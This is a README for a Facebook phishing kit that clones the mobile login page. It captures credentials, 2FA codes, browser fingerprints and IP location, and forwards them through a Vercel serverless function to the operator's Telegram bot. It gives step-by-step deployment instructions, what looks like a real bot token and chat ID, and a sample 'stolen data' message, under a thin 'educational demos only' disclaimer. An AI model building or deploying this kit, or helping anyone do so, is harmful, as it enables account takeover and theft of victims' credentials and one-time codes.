Facebook UI Clone — Frontend + Backend
✨ Features
🎨 Frontend (index.html)
· Pixel‑perfect Facebook mobile login page (colors, borders, shadows, fonts) · Floating labels – move up when typing, down when empty · Password visibility toggle (show/hide eye icon) · “Remember me” checkbox (simulated) · Email/phone field with clear button (appears when text is entered) · Two‑factor authentication (2FA) simulation – after first login, user sees a 6‑digit code screen · Loading spinner while 2FA code is being processed · Fake error dialog after 2FA – “Unable to log in. Please try again.” · Automatic redirect to the real Facebook login page after a few seconds · Footer with expandable “More” links (About, Help, Messenger, Meta Pay, etc.) · Language selector (dummy dropdown) · Fully responsive – works on iPhone, Android, tablet, desktop
🧠 Data Collection (Client‑side)
· Fingerprint data – user agent, platform, language, screen resolution, color depth, timezone, referrer, installed browser plugins, hardware concurrency, device memory · IP address & location – via ipapi.co (city, region, country) · All input data – email/phone, password, 2FA code, “Remember me” status
⚙️ Backend (api/send.js – Vercel Serverless Function)
· Receives POST requests from the frontend · Reads Telegram bot token & chat ID from environment variables (never exposed to the client) · Builds a rich text message (Markdown) with all stolen data · Forwards the message to your Telegram bot using the Telegram Bot API · Returns a generic { status: "ok" } to the frontend (no error details are leaked) · Works seamlessly on Vercel with zero server maintenance
🔐 Security & Obfuscation
· No credentials stored in frontend code · Telegram token and chat ID stored as Vercel environment variables · Victim never sees API errors or Telegram references · All data sent via HTTPS (automatic on Vercel)
🏗️ System Architecture
┌─────────────┐
│ Victim │
│ index.html │
└──────┬──────┘
│ POST /api/send (JSON)
▼
┌─────────────┐
│ Vercel │
│ api/send.js │
└──────┬──────┘
│ fetch() to Telegram API
▼
┌─────────────┐
│ Telegram │
│ Bot │
└─────────────┘
📂 Project Structure
facebook-clone/
├── index.html # Complete frontend (HTML/CSS/JS)
├── api/
│ └── send.js # Vercel serverless function (forwards to Telegram)
└── README.md
🚀 Deploy on Vercel (Step by Step)
- Create a Telegram Bot
· Open Telegram → search @BotFather · Send /newbot → choose a name → get your HTTP API token (example: 8606403208:AAGlYhxfSrZIYpKwd-obKgNc_2zuWGp5pmc) · Get your chat ID – send @userinfobot a message, or use:
https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates
- Push Code to GitHub
git init
git add .
git commit -m "Initial commit"
git remote add origin https://github.com/your-username/facebook-clone.git
git push -u origin main- Import to Vercel
· Go to vercel.com/new · Import your GitHub repository · Keep all default settings
- Add Environment Variables
In your Vercel project dashboard:
· Go to Settings → Environment Variables · Add two variables:
Name Value TELEGRAM_BOT_TOKEN 8606403208:AAGlYhxfSrZIYpKwd-obKgNc_2zuWGp5pmc TELEGRAM_CHAT_ID 5522678104
· Click Save → Redeploy the project.
- Done
Your live URL will be: https://your-app.vercel.app
🧪 Testing Locally (with Vercel CLI)
npm install -g vercel
vercel devThe backend will be available at http://localhost:3000/api/send. Environment variables are loaded automatically from your Vercel project (or you can create a .env file locally – never commit it).
📡 Example Telegram Message Received
🔴 NEW FACEBOOK LOGIN 🔴
📧 Email/Phone: victim@example.com
🔑 Password: secret123
🔐 2FA Code: 123456
💾 Remember Me: Yes
🕒 Time: 2025-03-15 14:32:10 UTC
🌐 IP: 203.0.113.45
📍 Location: Dhaka Dhaka Bangladesh
🖥️ OS: iPhone
📱 UA: Mozilla/5.0 (iPhone; CPU iPhone OS 16_6...)
📱 Screen: 390x844
⏰ Timezone: Asia/Dhaka
🔧 HW Cores: 6
🧠 Plugins: PDF Viewer, Chrome PDF Viewer, etc.
🛠️ Technologies Used
· HTML5 / CSS3 (Flexbox, animations, custom properties) · Vanilla JavaScript (ES2020) · Fetch API · Vercel Serverless Functions (Node.js) · Telegram Bot API · ipapi.co (IP geolocation)
🔒 Important Security Notes
· Never commit real Telegram tokens or chat IDs to Git. · Always use environment variables on production (Vercel, Netlify, etc.). · Add a robots.txt to avoid search engine indexing if needed. · This project is for educational demos only – using it without consent violates laws.
👨💻 Author
Ibrahim Khalil GitHub (replace with your actual GitHub)
📜 License
MIT License – free for educational and research purposes. The author is not responsible for any misuse.
⭐ Support
If you found this useful for learning full‑stack deployment, give the repository a star ⭐